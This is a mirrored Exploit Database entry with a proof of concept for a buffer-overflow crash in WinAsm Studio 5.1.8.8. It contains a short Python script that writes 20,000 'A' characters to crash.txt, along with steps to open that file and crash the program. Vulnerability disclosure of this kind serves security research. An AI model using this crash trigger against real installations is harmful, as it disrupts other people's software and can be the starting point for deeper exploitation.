WinAsm Studio 5.1.8.8 – Buffer Overflow Crash (PoC)

• Exploit Database
• 123 阅读

• 作者： Un_N0n
  日期： 2015-12-06
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/38878/
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  ******************************************************************************************** # Exploit: WinAsm Studio 5.1.8.8 BOF. # Date: 12/6/2015 # Exploit Author: Un_N0n # Vendor: WinAsm # Software Link: http://www.winasm.net/winasm-studio-updates.html # Version: 5.1.8.8 # Tested on: Windows 7 x64(64bit) ******************************************************************************************** [Info]   Code: rc.right = 0; rc.bottom = 0; DrawTextExA( hdc, L"I \t\u6e69\u6c63\u6475e\u6e69\.................\uf64)", <--- XXXtremely big string to draw, thus crashes. 1, &rc, 0x2CE0u, &dtp); *(_DWORD *)(a1 + 420) = rc.right;     [How to?] 1 - Open up WinAsm.exe. 2 - GoTo Files -> Open Files. 3 - Browser the crash.txt in it. ~ Software will Crash.   [crash.txt?] file = open(&apos;crash.txt&apos;,&apos;w&apos;) file.write("A"*20000) #Crash.txt Contains 20000s As file.close()   ********************************************************************************************